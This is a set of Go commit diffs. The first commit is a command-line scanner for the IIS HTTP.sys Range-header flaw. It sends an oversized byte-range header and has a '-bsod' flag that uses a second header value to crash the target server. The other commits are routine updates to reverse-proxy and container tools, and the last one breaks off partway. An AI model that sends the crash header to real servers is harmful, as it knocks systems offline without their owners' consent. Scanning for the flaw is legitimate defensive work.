<commit_before>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
)

const (
	RANGE_HEADER                 = "Range"
	RANGE_LIGHT_TEST             = "bytes=0-18446744073709551615"
	RANGE_HEAVY_TEST             = "bytes=20-18446744073709551615"
	STATUS_RANGE_NOT_SATISFIABLE = 416
	STATUS_INVALID_HEADER_NAME   = 400
)

func main() {
	var host = flag.String("host", "http://example.com", "HTTP address to request")
	var bsod = flag.Bool("bsod", false, "Set to force BSOD")
	flag.Parse()

	client := &http.Client{}
	req, err := http.NewRequest("GET", *host, nil)
	if err != nil {
		fmt.Println("Request error:", err)
		return
	}
	if *bsod {
		req.Header.Add(RANGE_HEADER, RANGE_HEAVY_TEST)
	} else {
		req.Header.Add(RANGE_HEADER, RANGE_LIGHT_TEST)
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Send request error:", err)
		return
	}
	defer resp.Body.Close()

	server := resp.Header.Get("Server")
	if len(server) > 0 && !strings.Contains(server, "Microsoft") {
		fmt.Println("[*] Not IIS")
		return
	}

	switch resp.StatusCode {
	case STATUS_RANGE_NOT_SATISFIABLE:
		fmt.Println("[!!] Looks vulnerable")
	default:
		fmt.Println("[*] Looks patched or unaffected")
	}

	if *bsod {
		body, _ := ioutil.ReadAll(resp.Body)
		fmt.Printf("%s\n", body)
	}
}
<commit_msg>Small usage improvements<commit_after>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
)

const (
	RANGE_HEADER                 = "Range"
	RANGE_LIGHT_TEST             = "bytes=0-18446744073709551615"
	RANGE_HEAVY_TEST             = "bytes=20-18446744073709551615"
	STATUS_RANGE_NOT_SATISFIABLE = 416
	STATUS_INVALID_HEADER_NAME   = 400
)

func main() {
	var addr = flag.String("addr", "", "HTTP address from file to request")
	var bsod = flag.Bool("bsod", false, "Defines whether should force BSOD")
	flag.Parse()

	if len(*addr) == 0 {
		flag.Usage()
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", *addr, nil)
	if err != nil {
		fmt.Println("Request error:", err)
		return
	}
	if *bsod {
		req.Header.Add(RANGE_HEADER, RANGE_HEAVY_TEST)
	} else {
		req.Header.Add(RANGE_HEADER, RANGE_LIGHT_TEST)
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Send request error:", err)
		return
	}
	defer resp.Body.Close()

	server := resp.Header.Get("Server")
	if len(server) > 0 && !strings.Contains(server, "Microsoft") {
		fmt.Println("[*] Not IIS")
		return
	}

	switch resp.StatusCode {
	case STATUS_RANGE_NOT_SATISFIABLE:
		fmt.Println("[!!] Looks vulnerable")
	default:
		fmt.Println("[*] Looks patched or unaffected")
	}

	if *bsod {
		body, _ := ioutil.ReadAll(resp.Body)
		fmt.Printf("%s\n", body)
	}
}
<|endoftext|>


<commit_before>// Copyright 2016 tsuru authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import (
	"errors"
	"log"
	"net/http"
	"os"
	"os/signal"
	"regexp"
	"runtime"
	"runtime/pprof"
	"strings"
	"syscall"
	"time"

	"github.com/codegangsta/cli"
	"github.com/prometheus/client_golang/prometheus/promhttp"
	"github.com/tsuru/planb/backend"
	"github.com/tsuru/planb/reverseproxy"
	"github.com/tsuru/planb/router"
	"github.com/tsuru/planb/tls"
)

func handleSignals(server interface {
	Stop()
}) {
	sigChan := make(chan os.Signal, 3)
	go func() {
		for sig := range sigChan {
			if sig == os.Interrupt || sig == os.Kill {
				server.Stop()
			}
			if sig == syscall.SIGUSR1 {
				pprof.Lookup("goroutine").WriteTo(os.Stdout, 2)
			}
			if sig == syscall.SIGUSR2 {
				go startProfiling()
			}
		}
	}()
	signal.Notify(sigChan, os.Interrupt, os.Kill, syscall.SIGUSR1, syscall.SIGUSR2)
}

func startProfiling() {
	cpufile, _ := os.OpenFile("./planb_cpu.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	memfile, _ := os.OpenFile("./planb_mem.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	lockfile, _ := os.OpenFile("./planb_lock.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	log.Println("enabling profile...")
	runtime.GC()
	pprof.WriteHeapProfile(memfile)
	memfile.Close()
	runtime.SetBlockProfileRate(1)
	time.Sleep(30 * time.Second)
	pprof.Lookup("block").WriteTo(lockfile, 0)
	runtime.SetBlockProfileRate(0)
	lockfile.Close()
	pprof.StartCPUProfile(cpufile)
	time.Sleep(30 * time.Second)
	pprof.StopCPUProfile()
	cpufile.Close()
	log.Println("profiling done")
}

func runServer(c *cli.Context) {
	var rp reverseproxy.ReverseProxy
	switch c.String("engine") {
	case "native":
		rp = &reverseproxy.NativeReverseProxy{}
	case "fasthttp":
		rp = &reverseproxy.FastReverseProxy{}
	default:
		log.Fatal(errors.New("invalid engine"))
	}
	readOpts := backend.RedisOptions{
		Host:          c.String("read-redis-host"),
		Port:          c.Int("read-redis-port"),
		SentinelAddrs: c.String("read-redis-sentinel-addrs"),
		SentinelName:  c.String("read-redis-sentinel-name"),
		Password:      c.String("read-redis-password"),
		DB:            c.Int("read-redis-db"),
	}
	writeOpts := backend.RedisOptions{
		Host:          c.String("write-redis-host"),
		Port:          c.Int("write-redis-port"),
		SentinelAddrs: c.String("write-redis-sentinel-addrs"),
		SentinelName:  c.String("write-redis-sentinel-name"),
		Password:      c.String("write-redis-password"),
		DB:            c.Int("write-redis-db"),
	}
	routesBE, err := backend.NewRedisBackend(readOpts, writeOpts)
	if err != nil {
		log.Fatal(err)
	}
	if c.Bool("active-healthcheck") {
		err = routesBE.StartMonitor()
		if err != nil {
			log.Fatal(err)
		}
	}
	r := router.Router{
		Backend:        routesBE,
		LogPath:        c.String("access-log"),
		DeadBackendTTL: c.Int("dead-backend-time"),
		CacheEnabled:   c.Bool("backend-cache"),
	}
	err = r.Init()
	if err != nil {
		log.Fatal(err)
	}
	err = rp.Initialize(reverseproxy.ReverseProxyConfig{
		Router:          &r,
		RequestIDHeader: c.String("request-id-header"),
		FlushInterval:   time.Duration(c.Int("flush-interval")) * time.Millisecond,
		DialTimeout:     time.Duration(c.Int("dial-timeout")) * time.Second,
		RequestTimeout:  time.Duration(c.Int("request-timeout")) * time.Second,
	})
	if err != nil {
		log.Fatal(err)
	}

	listener := &router.RouterListener{
		ReverseProxy: rp,
		Listen:       c.String("listen"),
		TLSListen:    c.String("tls-listen"),
		CertLoader:   getCertificateLoader(c, readOpts),
	}

	if addr := c.String("metrics-address"); addr != "" {
		handler := http.NewServeMux()
		handler.Handle("/metrics", promhttp.Handler())
		go func() {
			log.Fatal(http.ListenAndServe(addr, handler))
		}()
	}

	handleSignals(listener)
	listener.Serve()

	r.Stop()
	routesBE.StopMonitor()
}

func getCertificateLoader(c *cli.Context, readOpts backend.RedisOptions) tls.CertificateLoader {
	if c.String("tls-listen") == "" {
		return nil
	}

	from := c.String("load-certificates-from")
	switch from {
	case "redis":
		client, err := readOpts.Client()
		if err != nil {
			log.Fatal(err)
		}

		return tls.NewRedisCertificateLoader(client)
	default:
		return tls.NewFSCertificateLoader(from)
	}
}

func fixUsage(s string) string {
	linebreakRegexp := regexp.MustCompile(`\n{1}[\t ]*`)
	s = linebreakRegexp.ReplaceAllString(s, " ")
	parts := strings.Split(s, " ")
	currLen := 0
	lastPart := 0
	var lines []string
	for i := range parts {
		if currLen+len(parts[i])+1 > 55 {
			lines = append(lines, strings.Join(parts[lastPart:i], " "))
			currLen = 0
			lastPart = i
		}
		currLen += len(parts[i]) + 1
	}
	lines = append(lines, strings.Join(parts[lastPart:], " "))
	return strings.Join(lines, "\n\t")
}

func main() {
	app := cli.NewApp()
	app.Flags = []cli.Flag{
		cli.StringFlag{
			Name:  "listen, l",
			Value: "0.0.0.0:8989",
			Usage: "Address to listen",
		},
		cli.StringFlag{
			Name:  "tls-listen",
			Usage: "Address to listen with tls",
		},
		cli.StringFlag{
			Name:  "metrics-address",
			Usage: "Address to expose prometheus /metrics",
		},
		cli.StringFlag{
			Name:  "load-certificates-from",
			Value: "redis",
			Usage: fixUsage(`Path where certificate will found.
If value equals 'redis' certificate will be loaded from redis service.`),
		},
		cli.StringFlag{
			Name:  "read-redis-host",
			Value: "127.0.0.1",
		},
		cli.IntFlag{
			Name:  "read-redis-port",
			Value: 6379,
		},
		cli.StringFlag{
			Name:  "read-redis-sentinel-addrs",
			Usage: "Comma separated list of redis addresses",
		},
		cli.StringFlag{
			Name: "read-redis-sentinel-name",
		},
		cli.StringFlag{
			Name: "read-redis-password",
		},
		cli.IntFlag{
			Name: "read-redis-db",
		},
		cli.StringFlag{
			Name:  "write-redis-host",
			Value: "127.0.0.1",
		},
		cli.IntFlag{
			Name:  "write-redis-port",
			Value: 6379,
		},
		cli.StringFlag{
			Name:  "write-redis-sentinel-addrs",
			Usage: "Comma separated list of redis addresses",
		},
		cli.StringFlag{
			Name: "write-redis-sentinel-name",
		},
		cli.StringFlag{
			Name: "write-redis-password",
		},
		cli.IntFlag{
			Name: "write-redis-db",
		},
		cli.StringFlag{
			Name:  "access-log",
			Value: "./access.log",
			Usage: fixUsage(`File path where access log will be written.
If value equals 'syslog' log will be sent to local syslog.
The value 'none' can be used to disable access logs.`),
		},
		cli.IntFlag{
			Name:  "request-timeout",
			Value: 30,
			Usage: "Total backend request timeout in seconds",
		},
		cli.IntFlag{
			Name:  "dial-timeout",
			Value: 10,
			Usage: "Dial backend request timeout in seconds",
		},
		cli.IntFlag{
			Name:  "dead-backend-time",
			Value: 30,
			Usage: fixUsage("Time in seconds a backend will remain disabled after a network failure"),
		},
		cli.IntFlag{
			Name:  "flush-interval",
			Value: 10,
			Usage: fixUsage("Time in milliseconds to flush the proxied request"),
		},
		cli.StringFlag{
			Name:  "request-id-header",
			Usage: "Header to enable message tracking",
		},
		cli.BoolFlag{
			Name: "active-healthcheck",
		},
		cli.StringFlag{
			Name:  "engine",
			Value: "native",
			Usage: fixUsage("Reverse proxy engine, options are 'native' and 'fasthttp'"),
		},
		cli.BoolFlag{
			Name:  "backend-cache",
			Usage: "Enable caching backend results for 2 seconds. This may cause temporary inconsistencies.",
		},
	}
	app.Version = "0.1.11"
	app.Name = "planb"
	app.Usage = "http and websockets reverse proxy"
	app.Action = runServer
	app.Author = "tsuru team"
	app.Email = "https://github.com/tsuru/planb"
	app.Run(os.Args)
}
<commit_msg>bump version to 0.1.12<commit_after>// Copyright 2016 tsuru authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import (
	"errors"
	"log"
	"net/http"
	"os"
	"os/signal"
	"regexp"
	"runtime"
	"runtime/pprof"
	"strings"
	"syscall"
	"time"

	"github.com/codegangsta/cli"
	"github.com/prometheus/client_golang/prometheus/promhttp"
	"github.com/tsuru/planb/backend"
	"github.com/tsuru/planb/reverseproxy"
	"github.com/tsuru/planb/router"
	"github.com/tsuru/planb/tls"
)

func handleSignals(server interface {
	Stop()
}) {
	sigChan := make(chan os.Signal, 3)
	go func() {
		for sig := range sigChan {
			if sig == os.Interrupt || sig == os.Kill {
				server.Stop()
			}
			if sig == syscall.SIGUSR1 {
				pprof.Lookup("goroutine").WriteTo(os.Stdout, 2)
			}
			if sig == syscall.SIGUSR2 {
				go startProfiling()
			}
		}
	}()
	signal.Notify(sigChan, os.Interrupt, os.Kill, syscall.SIGUSR1, syscall.SIGUSR2)
}

func startProfiling() {
	cpufile, _ := os.OpenFile("./planb_cpu.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	memfile, _ := os.OpenFile("./planb_mem.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	lockfile, _ := os.OpenFile("./planb_lock.pprof", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0660)
	log.Println("enabling profile...")
	runtime.GC()
	pprof.WriteHeapProfile(memfile)
	memfile.Close()
	runtime.SetBlockProfileRate(1)
	time.Sleep(30 * time.Second)
	pprof.Lookup("block").WriteTo(lockfile, 0)
	runtime.SetBlockProfileRate(0)
	lockfile.Close()
	pprof.StartCPUProfile(cpufile)
	time.Sleep(30 * time.Second)
	pprof.StopCPUProfile()
	cpufile.Close()
	log.Println("profiling done")
}

func runServer(c *cli.Context) {
	var rp reverseproxy.ReverseProxy
	switch c.String("engine") {
	case "native":
		rp = &reverseproxy.NativeReverseProxy{}
	case "fasthttp":
		rp = &reverseproxy.FastReverseProxy{}
	default:
		log.Fatal(errors.New("invalid engine"))
	}
	readOpts := backend.RedisOptions{
		Host:          c.String("read-redis-host"),
		Port:          c.Int("read-redis-port"),
		SentinelAddrs: c.String("read-redis-sentinel-addrs"),
		SentinelName:  c.String("read-redis-sentinel-name"),
		Password:      c.String("read-redis-password"),
		DB:            c.Int("read-redis-db"),
	}
	writeOpts := backend.RedisOptions{
		Host:          c.String("write-redis-host"),
		Port:          c.Int("write-redis-port"),
		SentinelAddrs: c.String("write-redis-sentinel-addrs"),
		SentinelName:  c.String("write-redis-sentinel-name"),
		Password:      c.String("write-redis-password"),
		DB:            c.Int("write-redis-db"),
	}
	routesBE, err := backend.NewRedisBackend(readOpts, writeOpts)
	if err != nil {
		log.Fatal(err)
	}
	if c.Bool("active-healthcheck") {
		err = routesBE.StartMonitor()
		if err != nil {
			log.Fatal(err)
		}
	}
	r := router.Router{
		Backend:        routesBE,
		LogPath:        c.String("access-log"),
		DeadBackendTTL: c.Int("dead-backend-time"),
		CacheEnabled:   c.Bool("backend-cache"),
	}
	err = r.Init()
	if err != nil {
		log.Fatal(err)
	}
	err = rp.Initialize(reverseproxy.ReverseProxyConfig{
		Router:          &r,
		RequestIDHeader: c.String("request-id-header"),
		FlushInterval:   time.Duration(c.Int("flush-interval")) * time.Millisecond,
		DialTimeout:     time.Duration(c.Int("dial-timeout")) * time.Second,
		RequestTimeout:  time.Duration(c.Int("request-timeout")) * time.Second,
	})
	if err != nil {
		log.Fatal(err)
	}

	listener := &router.RouterListener{
		ReverseProxy: rp,
		Listen:       c.String("listen"),
		TLSListen:    c.String("tls-listen"),
		CertLoader:   getCertificateLoader(c, readOpts),
	}

	if addr := c.String("metrics-address"); addr != "" {
		handler := http.NewServeMux()
		handler.Handle("/metrics", promhttp.Handler())
		go func() {
			log.Fatal(http.ListenAndServe(addr, handler))
		}()
	}

	handleSignals(listener)
	listener.Serve()

	r.Stop()
	routesBE.StopMonitor()
}

func getCertificateLoader(c *cli.Context, readOpts backend.RedisOptions) tls.CertificateLoader {
	if c.String("tls-listen") == "" {
		return nil
	}

	from := c.String("load-certificates-from")
	switch from {
	case "redis":
		client, err := readOpts.Client()
		if err != nil {
			log.Fatal(err)
		}

		return tls.NewRedisCertificateLoader(client)
	default:
		return tls.NewFSCertificateLoader(from)
	}
}

func fixUsage(s string) string {
	linebreakRegexp := regexp.MustCompile(`\n{1}[\t ]*`)
	s = linebreakRegexp.ReplaceAllString(s, " ")
	parts := strings.Split(s, " ")
	currLen := 0
	lastPart := 0
	var lines []string
	for i := range parts {
		if currLen+len(parts[i])+1 > 55 {
			lines = append(lines, strings.Join(parts[lastPart:i], " "))
			currLen = 0
			lastPart = i
		}
		currLen += len(parts[i]) + 1
	}
	lines = append(lines, strings.Join(parts[lastPart:], " "))
	return strings.Join(lines, "\n\t")
}

func main() {
	app := cli.NewApp()
	app.Flags = []cli.Flag{
		cli.StringFlag{
			Name:  "listen, l",
			Value: "0.0.0.0:8989",
			Usage: "Address to listen",
		},
		cli.StringFlag{
			Name:  "tls-listen",
			Usage: "Address to listen with tls",
		},
		cli.StringFlag{
			Name:  "metrics-address",
			Usage: "Address to expose prometheus /metrics",
		},
		cli.StringFlag{
			Name:  "load-certificates-from",
			Value: "redis",
			Usage: fixUsage(`Path where certificate will found.
If value equals 'redis' certificate will be loaded from redis service.`),
		},
		cli.StringFlag{
			Name:  "read-redis-host",
			Value: "127.0.0.1",
		},
		cli.IntFlag{
			Name:  "read-redis-port",
			Value: 6379,
		},
		cli.StringFlag{
			Name:  "read-redis-sentinel-addrs",
			Usage: "Comma separated list of redis addresses",
		},
		cli.StringFlag{
			Name: "read-redis-sentinel-name",
		},
		cli.StringFlag{
			Name: "read-redis-password",
		},
		cli.IntFlag{
			Name: "read-redis-db",
		},
		cli.StringFlag{
			Name:  "write-redis-host",
			Value: "127.0.0.1",
		},
		cli.IntFlag{
			Name:  "write-redis-port",
			Value: 6379,
		},
		cli.StringFlag{
			Name:  "write-redis-sentinel-addrs",
			Usage: "Comma separated list of redis addresses",
		},
		cli.StringFlag{
			Name: "write-redis-sentinel-name",
		},
		cli.StringFlag{
			Name: "write-redis-password",
		},
		cli.IntFlag{
			Name: "write-redis-db",
		},
		cli.StringFlag{
			Name:  "access-log",
			Value: "./access.log",
			Usage: fixUsage(`File path where access log will be written.
If value equals 'syslog' log will be sent to local syslog.
The value 'none' can be used to disable access logs.`),
		},
		cli.IntFlag{
			Name:  "request-timeout",
			Value: 30,
			Usage: "Total backend request timeout in seconds",
		},
		cli.IntFlag{
			Name:  "dial-timeout",
			Value: 10,
			Usage: "Dial backend request timeout in seconds",
		},
		cli.IntFlag{
			Name:  "dead-backend-time",
			Value: 30,
			Usage: fixUsage("Time in seconds a backend will remain disabled after a network failure"),
		},
		cli.IntFlag{
			Name:  "flush-interval",
			Value: 10,
			Usage: fixUsage("Time in milliseconds to flush the proxied request"),
		},
		cli.StringFlag{
			Name:  "request-id-header",
			Usage: "Header to enable message tracking",
		},
		cli.BoolFlag{
			Name: "active-healthcheck",
		},
		cli.StringFlag{
			Name:  "engine",
			Value: "native",
			Usage: fixUsage("Reverse proxy engine, options are 'native' and 'fasthttp'"),
		},
		cli.BoolFlag{
			Name:  "backend-cache",
			Usage: "Enable caching backend results for 2 seconds. This may cause temporary inconsistencies.",
		},
	}
	app.Version = "0.1.12"
	app.Name = "planb"
	app.Usage = "http and websockets reverse proxy"
	app.Action = runServer
	app.Author = "tsuru team"
	app.Email = "https://github.com/tsuru/planb"
	app.Run(os.Args)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"os"

	"github.com/urfave/cli"
)

const (
	version = "0.0.1"
)

func main() {
	app := cli.NewApp()
	app.Name = "kpod"
	app.Usage = "Manage pods and images"
	app.Version = version
	app.Author = "Kpod Contributors"
	app.EnableBashCompletion = true

	app.Flags = []cli.Flag{}
	app.Commands = []cli.Command{}

	app.Run(os.Args)
}

func generateBashCompletion(c *cli.Context) {
	tasks := []string{}

	// This will complete if no args are passed
	if c.NArg() > 0 {
		return
	}
	for _, t := range tasks {
		fmt.Println(t)
	}
}
<commit_msg>Fix lint errors<commit_after>package main

import (
	"log"
	"os"

	"github.com/urfave/cli"
)

const (
	version = "0.0.1"
)

func main() {
	app := cli.NewApp()
	app.Name = "kpod"
	app.Usage = "Manage pods and images"
	app.Version = version
	app.Author = "Kpod Contributors"
	app.EnableBashCompletion = true

	app.Flags = []cli.Flag{}
	app.Commands = []cli.Command{}

	if err := app.Run(os.Args); err != nil {
		log.Fatal(err)
	}
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"github.com/magneticio/vamp-router/api"
	"github.com/magneticio/vamp-router/haproxy"
	"github.com/magneticio/vamp-router/helpers"
	"github.com/magneticio/vamp-router/logging"
	"github.com/magneticio/vamp-router/metrics"
	"github.com/magneticio/vamp-router/tools"
	"github.com/magneticio/vamp-router/zookeeper"
	gologger "github.com/op/go-logging"
	"os"
	"strconv"
)

var (
	// Set all commandline arguments
	port             int
	logPath          string
	configFilePath   string
	templateFilePath string
	jsonFilePath     string
	binaryPath       string
	kafkaHost        string
	kafkaPort        int
	zooConString     string
	zooConKey        string
	pidFilePath      string
	headless         bool
	log              *gologger.Logger
	version          = "0.6.0-dev"
	stream           metrics.Streamer
	workDir          helpers.WorkDir
	customWorkDir    string
)

func init() {
	flag.IntVar(&port, "port", 10001, "Port/IP to use for the REST interface. Overrides $PORT0 env variable")
	flag.StringVar(&logPath, "logPath", "/logs/vamp-router.log", "Location of the log file")
	flag.StringVar(&configFilePath, "configFile", "/haproxy_new.cfg", "Target location of the generated HAproxy config file")
	flag.StringVar(&templateFilePath, "template", "configuration/templates/haproxy_config.template", "Template file to build HAproxy config")
	flag.StringVar(&jsonFilePath, "json", "/vamp_router.json", "JSON file to store internal config.")
	flag.StringVar(&binaryPath, "binary", helpers.HaproxyLocation(), "Path to the HAproxy binary")
	flag.StringVar(&kafkaHost, "kafkaHost", "", "The hostname or ip address of the Kafka host")
	flag.IntVar(&kafkaPort, "kafkaPort", 9092, "The port of the Kafka host")
	flag.StringVar(&zooConString, "zooConString", "", "A zookeeper ensemble connection string")
	flag.StringVar(&zooConKey, "zooConKey", "magneticio/vamplb", "Zookeeper root key")
	flag.StringVar(&pidFilePath, "pidFile", "/haproxy-private.pid", "Location of the HAproxy PID file")
	flag.StringVar(&customWorkDir, "customWorkDir", "", "Custom working directory for logs, configs and sockets")
	flag.BoolVar(&headless, "headless", false, "Run without any logging output to the console")
}

func main() {

	flag.Parse()

	// resolve flags and environment variables
	tools.SetValueFromEnv(&port, "VAMP_RT_PORT")
	tools.SetValueFromEnv(&logPath, "VAMP_RT_LOG_PATH")
	tools.SetValueFromEnv(&configFilePath, "VAMP_RT_CONFIG_PATH")
	tools.SetValueFromEnv(&templateFilePath, "VAMP_RT_TEMPLATE_PATH")
	tools.SetValueFromEnv(&jsonFilePath, "VAMP_RT_JSON_PATH")
	tools.SetValueFromEnv(&binaryPath, "VAMP_RT_BINARY_PATH")
	tools.SetValueFromEnv(&kafkaHost, "VAMP_RT_KAFKA_HOST")
	tools.SetValueFromEnv(&kafkaPort, "VAMP_RT_KAFKA_PORT")
	tools.SetValueFromEnv(&zooConString, "VAMP_RT_ZOO_STRING")
	tools.SetValueFromEnv(&zooConKey, "VAMP_RT_ZOO_KEY")
	tools.SetValueFromEnv(&pidFilePath, "VAMP_RT_PID_PATH")
	tools.SetValueFromEnv(&customWorkDir, "VAMP_RT_CUSTOM_WORKDIR")
	tools.SetValueFromEnv(&headless, "VAMP_RT_HEADLESS")

	//create working dir if not already there
	if err := workDir.Create(customWorkDir); err != nil {
		panic(err)
	}

	// setup logging
	log = logging.ConfigureLog(workDir.Dir()+logPath, headless)
	log.Info(logging.PrintLogo(version))

	/*

		HAproxy runtime and configuration setup

	*/

	// setup Haproxy runtime
	haRuntime := haproxy.Runtime{Binary: binaryPath}

	// setup Configuration
	haConfig := haproxy.Config{TemplateFile: templateFilePath,
		ConfigFile: workDir.Dir() + configFilePath,
		JsonFile:   workDir.Dir() + jsonFilePath,
		PidFile:    workDir.Dir() + pidFilePath,
		WorkingDir: workDir.Dir(),
	}

	log.Notice("Attempting to load config at %s", workDir.Dir()+configFilePath)
	// load config from disk
	err := haConfig.GetConfigFromDisk(haConfig.JsonFile)
	if err != nil {
		log.Notice("Did not find a config, loading example config...")
		err = haConfig.GetConfigFromDisk("examples/example1.json")
		if err != nil {
			log.Warning("Could not load example file from disk...")
		}
	}

	// Render initial config
	err = haConfig.Render()
	if err != nil {
		log.Fatal("Could not render initial config, exiting...")
		os.Exit(1)
	}

	// set the Pid file
	if err := haRuntime.SetPid(haConfig.PidFile); err != nil {
		log.Notice("Pidfile exists at %s, proceeding...", workDir.Dir()+pidFilePath)
	} else {
		log.Notice("Created new pidfile...")
	}

	// start or reload
	err = haRuntime.Reload(&haConfig)
	if err != nil {
		log.Fatal("Error while reloading haproxy: " + err.Error())
		os.Exit(1)
	}

	/*

		Metric streaming setup

	*/

	log.Notice("Initializing metric streams...")

	// Initialize the stream from a runtime
	stream.Init(&haRuntime, 3000)

	// Setup Kafka if required
	if len(kafkaHost) > 0 {

		kafkaChannel := make(chan metrics.Metric)
		stream.AddClient(kafkaChannel)

		kafka := metrics.KafkaProducer{Log: log}
		kafka.In(kafkaChannel)
		kafka.Start(kafkaHost, kafkaPort)

	}

	sseChannel := make(chan metrics.Metric)
	stream.AddClient(sseChannel)

	// Always setup SSE Stream
	sseBroker := &metrics.SSEBroker{
		make(map[chan metrics.Metric]bool),
		make(chan (chan metrics.Metric)),
		make(chan (chan metrics.Metric)),
		sseChannel,
		log,
	}

	sseBroker.In(sseChannel)
	sseBroker.Start()

	go stream.Start()

	/*

		Zookeeper setup

	*/

	if len(zooConString) > 0 {

		log.Notice("Initializing Zookeeper connection to " + zooConString + zooConKey)
		zkClient := zookeeper.ZkClient{}
		err := zkClient.Init(zooConString, &haConfig, log)

		if err != nil {
			log.Error("Error initializing Zookeeper...")
		}
		zkClient.Watch(zooConKey)
	}

	/*

		Rest API setup

	*/
	log.Notice("Initializing REST API...")
	restApi := api.CreateApi(log, &haConfig, &haRuntime, sseBroker)
	restApi.Run("0.0.0.0:" + strconv.Itoa(port))

}
<commit_msg>bump version to 0.6.1-dev<commit_after>package main

import (
	"flag"
	"github.com/magneticio/vamp-router/api"
	"github.com/magneticio/vamp-router/haproxy"
	"github.com/magneticio/vamp-router/helpers"
	"github.com/magneticio/vamp-router/logging"
	"github.com/magneticio/vamp-router/metrics"
	"github.com/magneticio/vamp-router/tools"
	"github.com/magneticio/vamp-router/zookeeper"
	gologger "github.com/op/go-logging"
	"os"
	"strconv"
)

var (
	// Set all commandline arguments
	port             int
	logPath          string
	configFilePath   string
	templateFilePath string
	jsonFilePath     string
	binaryPath       string
	kafkaHost        string
	kafkaPort        int
	zooConString     string
	zooConKey        string
	pidFilePath      string
	headless         bool
	log              *gologger.Logger
	version          = "0.6.1-dev"
	stream           metrics.Streamer
	workDir          helpers.WorkDir
	customWorkDir    string
)

func init() {
	flag.IntVar(&port, "port", 10001, "Port/IP to use for the REST interface. Overrides $PORT0 env variable")
	flag.StringVar(&logPath, "logPath", "/logs/vamp-router.log", "Location of the log file")
	flag.StringVar(&configFilePath, "configFile", "/haproxy_new.cfg", "Target location of the generated HAproxy config file")
	flag.StringVar(&templateFilePath, "template", "configuration/templates/haproxy_config.template", "Template file to build HAproxy config")
	flag.StringVar(&jsonFilePath, "json", "/vamp_router.json", "JSON file to store internal config.")
	flag.StringVar(&binaryPath, "binary", helpers.HaproxyLocation(), "Path to the HAproxy binary")
	flag.StringVar(&kafkaHost, "kafkaHost", "", "The hostname or ip address of the Kafka host")
	flag.IntVar(&kafkaPort, "kafkaPort", 9092, "The port of the Kafka host")
	flag.StringVar(&zooConString, "zooConString", "", "A zookeeper ensemble connection string")
	flag.StringVar(&zooConKey, "zooConKey", "magneticio/vamplb", "Zookeeper root key")
	flag.StringVar(&pidFilePath, "pidFile", "/haproxy-private.pid", "Location of the HAproxy PID file")
	flag.StringVar(&customWorkDir, "customWorkDir", "", "Custom working directory for logs, configs and sockets")
	flag.BoolVar(&headless, "headless", false, "Run without any logging output to the console")
}

func main() {

	flag.Parse()

	// resolve flags and environment variables
	tools.SetValueFromEnv(&port, "VAMP_RT_PORT")
	tools.SetValueFromEnv(&logPath, "VAMP_RT_LOG_PATH")
	tools.SetValueFromEnv(&configFilePath, "VAMP_RT_CONFIG_PATH")
	tools.SetValueFromEnv(&templateFilePath, "VAMP_RT_TEMPLATE_PATH")
	tools.SetValueFromEnv(&jsonFilePath, "VAMP_RT_JSON_PATH")
	tools.SetValueFromEnv(&binaryPath, "VAMP_RT_BINARY_PATH")
	tools.SetValueFromEnv(&kafkaHost, "VAMP_RT_KAFKA_HOST")
	tools.SetValueFromEnv(&kafkaPort, "VAMP_RT_KAFKA_PORT")
	tools.SetValueFromEnv(&zooConString, "VAMP_RT_ZOO_STRING")
	tools.SetValueFromEnv(&zooConKey, "VAMP_RT_ZOO_KEY")
	tools.SetValueFromEnv(&pidFilePath, "VAMP_RT_PID_PATH")
	tools.SetValueFromEnv(&customWorkDir, "VAMP_RT_CUSTOM_WORKDIR")
	tools.SetValueFromEnv(&headless, "VAMP_RT_HEADLESS")

	//create working dir if not already there
	if err := workDir.Create(customWorkDir); err != nil {
		panic(err)
	}

	// setup logging
	log = logging.ConfigureLog(workDir.Dir()+logPath, headless)
	log.Info(logging.PrintLogo(version))

	/*

		HAproxy runtime and configuration setup

	*/

	// setup Haproxy runtime
	haRuntime := haproxy.Runtime{Binary: binaryPath}

	// setup Configuration
	haConfig := haproxy.Config{TemplateFile: templateFilePath,
		ConfigFile: workDir.Dir() + configFilePath,
		JsonFile:   workDir.Dir() + jsonFilePath,
		PidFile:    workDir.Dir() + pidFilePath,
		WorkingDir: workDir.Dir(),
	}

	log.Notice("Attempting to load config at %s", workDir.Dir()+configFilePath)
	// load config from disk
	err := haConfig.GetConfigFromDisk(haConfig.JsonFile)
	if err != nil {
		log.Notice("Did not find a config, loading example config...")
		err = haConfig.GetConfigFromDisk("examples/example1.json")
		if err != nil {
			log.Warning("Could not load example file from disk...")
		}
	}

	// Render initial config
	err = haConfig.Render()
	if err != nil {
		log.Fatal("Could not render initial config, exiting...")
		os.Exit(1)
	}

	// set the Pid file
	if err := haRuntime.SetPid(haConfig.PidFile); err != nil {
		log.Notice("Pidfile exists at %s, proceeding...", workDir.Dir()+pidFilePath)
	} else {
		log.Notice("Created new pidfile...")
	}

	// start or reload
	err = haRuntime.Reload(&haConfig)
	if err != nil {
		log.Fatal("Error while reloading haproxy: " + err.Error())
		os.Exit(1)
	}

	/*

		Metric streaming setup

	*/

	log.Notice("Initializing metric streams...")

	// Initialize the stream from a runtime
	stream.Init(&haRuntime, 3000)

	// Setup Kafka if required
	if len(kafkaHost) > 0 {

		kafkaChannel := make(chan metrics.Metric)
		stream.AddClient(kafkaChannel)

		kafka := metrics.KafkaProducer{Log: log}
		kafka.In(kafkaChannel)
		kafka.Start(kafkaHost, kafkaPort)

	}

	sseChannel := make(chan metrics.Metric)
	stream.AddClient(sseChannel)

